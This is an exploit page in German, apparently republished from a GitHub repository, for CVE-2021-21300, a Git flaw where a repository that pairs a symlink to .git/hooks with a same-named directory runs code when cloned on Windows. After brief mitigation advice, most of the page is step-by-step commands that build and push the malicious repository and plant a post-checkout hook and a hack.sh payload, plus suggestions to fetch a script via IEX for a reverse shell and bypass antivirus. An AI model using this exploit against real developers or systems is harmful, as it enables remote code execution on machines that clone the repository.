Sploitus

Exploit for CVE-2021-21300

kitploit · 2026-08-26

Exploit Code

MARKDOWN124 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FENGZHOUC-CVE-2021-21300
# CVE-2021-21300

In mehreren Git-Versionen wird die Verarbeitung von symbolischen Links (Symlinks) nicht streng gehandhabt. Wenn Dateien auf einem Dateisystem, das zwischen Groß- und Kleinschreibung unterscheidet (z. B. Linux), in Git hochgeladen werden und dann ein Host mit einem Dateisystem, das nicht zwischen Groß- und Kleinschreibung unterscheidet (z. B. Windows), das bösartige Repository klont, kann dies zur Ausführung von Remote-Befehlen führen.

## Betroffene Versionen

Von 2.15 bis einschlieĂźlich 2.30.1

## Lösung

  1. Version aktualisieren

  2. Wie folgt:

     * Deaktivieren Sie Git-Symlinks: `git config --global core.symlinks false`

     * Deaktivieren Sie den Prozessfilter (normalerweise von LFS verwendet). ĂśberprĂĽfen Sie mit `git config --show-scope --get-regexp 'filter\..*\.process'`




## Auslösebedingungen:

  1. Es existiert ein Symlink und ein Verzeichnis mit demselben Namen im Repository.
  2. Der Symlink zeigt auf ein spezielles Verzeichnis (anscheinend `.git/hooks`).
  3. Der Zielrechner benötigt ausreichende Berechtigungen zur Ausführung bösartiger Befehle.



# Reproduktion

## 01 Umgebungsvorbereitung

### â‘  Repository-Vorbereitung:

System: Ubuntu x64

Erforderlich: Installation von git und git-lfs

Die AusfĂĽhrung von `git lfs install` kann einen Fehler melden:

`Error: Failed to call git rev-parse --git-dir: exit status 128`

Kann ignoriert werden.

Wenn 'Git LFS initialized' erscheint, ist die Installation abgeschlossen.

### ② Zielrechner:

System: Windows 10 x64

Git for Windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

Die Installation von Git fĂĽr Windows sollte mit den Standardeinstellungen erfolgen.

## 02 Vorbereitung des bösartigen Repositorys

### â‘  Ein neues Repository auf GitHub erstellen:

Es gibt viele entsprechende Online-Tutorials, daher nicht näher erläutert.

### ② Erstellen des bösartigen Repositorys auf Ubuntu und Hochladen auf GitHub:

FĂĽhren Sie die folgenden Befehle aus:

root@kitploit:~
    
    
    $ git init
    $ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
    mkdir A &&
    printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
    chmod +x A/post-checkout &&
    >A/a &&
    >A/b &&
    git add -A &&
    rm -rf A &&
    ln -s .git/hooks a &&
    git add a &&
    git commit -m initial
    $ git branch -M main
    $ git remote add origin [eigene Repository-URL]
    $ git push -u origin main
    

## 03 Angriffstest

FĂĽhren Sie in der **PowerShell (als Administrator)** unter Windows 10 den folgenden Befehl aus:

`git clone -c core.symlinks=true [eigene Repository-URL]`

Wenn nach dem Klonen 'PWNED' erscheint, war die Remote-BefehlsausfĂĽhrung erfolgreich.

Man sieht, dass beim Klonen der Befehl in der Datei `post-checkout` ausgefĂĽhrt wurde.

Die Idee ist, mit IEX ein Skript herunterzuladen und dann über Kali einen Listener zu starten, um eine Shell zu erhalten. Die meisten Skripte werden jedoch erkannt und blockiert. Mit einer Antivirus-Umgehung (Bypass) sollte dies möglich sein.

## 04 Erweiterte Nutzung

FĂĽgen Sie im Verzeichnis die Skriptdatei `hack.sh` hinzu.

Inhalt wie folgt:

root@kitploit:~
    
    
    #!/bin/sh
    #################
    echo "script working..." &&
    cd / &&
    pwd &&
    mkdir hack
    cd hack &&
    touch hacked &&
    echo "you has been hacked">hacked &&
    echo "done!"
    

Ändern Sie den in `post-checkout` ausgeführten Befehl, um das Skript auszuführen.

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout